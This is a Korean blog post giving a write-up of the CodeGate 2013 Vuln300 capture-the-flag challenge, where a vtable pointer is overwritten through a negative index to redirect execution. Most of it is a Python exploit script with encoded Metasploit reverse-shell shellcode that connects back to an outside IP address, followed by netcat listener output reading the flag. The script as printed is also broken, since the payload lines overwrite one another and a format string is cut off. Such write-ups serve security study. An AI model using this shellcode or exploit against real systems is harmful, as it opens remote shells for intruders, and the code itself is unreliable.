상세 컨텐츠

본문 제목

2013 CodeGate YUT Vuln 300 WriteUp

0x10 정보보안/0x15 System

by sweetchip 2013. 11. 6. 18:56

본문

반응형


벌써 이 대회가 8개월전이라니 실감이 안난다. 얼마전에 코드게이트 사무국에서 2014년에 열릴 코드게이트를 준비중이라고 단체 메일이 왔엇다..


내년 코드게이트에서는 좀더 좋은 성적을 내보기 위해서이기도 하고 리눅스와 좀더 친해지고 싶어서 여러 문제를 접하고 있는데, 8개월전에 열렸던 YUT Challenge 를 풀기로 했다.


이번 문제는 ASLR과 NX를 전혀 생각할 필요가 없었다.


NX의 경우는 스택에 실행권한이 주어져 있어서 쉘코드를 사용할 수 있엇고, ASLR은 문제 특성상 필요가 없었다.


문제의 주제는 Vtable 이었고, Vtable의 값을 Overwrite 시켜서 프로그램의 흐름을 변경하는 문제였는데,


strncpy에서 버퍼 포인터의 4 부터 값을 할당하는데 이곳에 -4를 해서 Virtual function pointer 값이 있는 부분들 다른 함수가 있는 주소로 변경시키는 문제이다.


맞게 설명하고 있는지는 잘 모르겠다만..



8ff953dd97c4405234a04291dee39e0b



#/usr/bin/python

import struct


# CodeGate 2013 PreQual - Vuln300 Exploitation

# Exploit : http://pastebin.com/QnLgGBV5

# by sweetchip

p = lambda x : struct.pack("


# linux/x86/shell_reverse_tcp - 95 bytes

# http://www.metasploit.com

# Encoder: x86/shikata_ga_nai

# VERBOSE=false, LHOST=220.117.247.200, LPORT=12071,

# ReverseConnectRetries=5, ReverseAllowProxy=false,

# PrependSetresuid=false, PrependSetreuid=false,

# PrependSetuid=false, PrependSetresgid=false,

# PrependSetregid=false, PrependSetgid=false,

# PrependChrootBreak=false, AppendExit=false,

# InitialAutoRunScript=, AutoRunScript=

shellcode = ("\xd9\xcf\xd9\x74\x24\xf4\x5d\x33\xc9\xb1\x12\xba\x5c\xa8"

"\x72\xf6\x83\xed\xfc\x31\x55\x13\x03\x09\xbb\x90\x03\x80"

"\x60\xa3\x0f\xb1\xd5\x1f\xba\x37\x53\x7e\x8a\x51\xae\x01"

"\x78\xc4\x80\x3d\xb2\x76\xa9\x38\xb5\x1e\xf6\xce\xb2\x16"

"\x6e\x33\x3d\x89\x48\xba\xdc\x65\xf0\xec\x4f\xd6\x4e\x0f"

"\xf9\x39\x7d\x90\xab\xd1\x51\xbe\x38\x49\xc6\xef\xdc\xe0"

"\x78\x79\xc3\xa0\xd7\xf0\xe5\xf4\xd3\xcf\x66")


payload = ""

payload = "-4\n"

payload = p(0x080491e4) # address of 0x080491e8

payload = p(0x080491e8) # shellcode

payload = shellcode


print payload


"""

C:\Users\Administrator>nc -lvp 12071

listening on [any] 12071 ...

192.168.0.1: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [192.168.0.93] from (UNKNOWN) [192.168.0.1] 48276: NO_DATA

dir

a.py codegate-prequal-300 codegate_300.py key p2

cat key

this is key

"""


반응형

관련글 더보기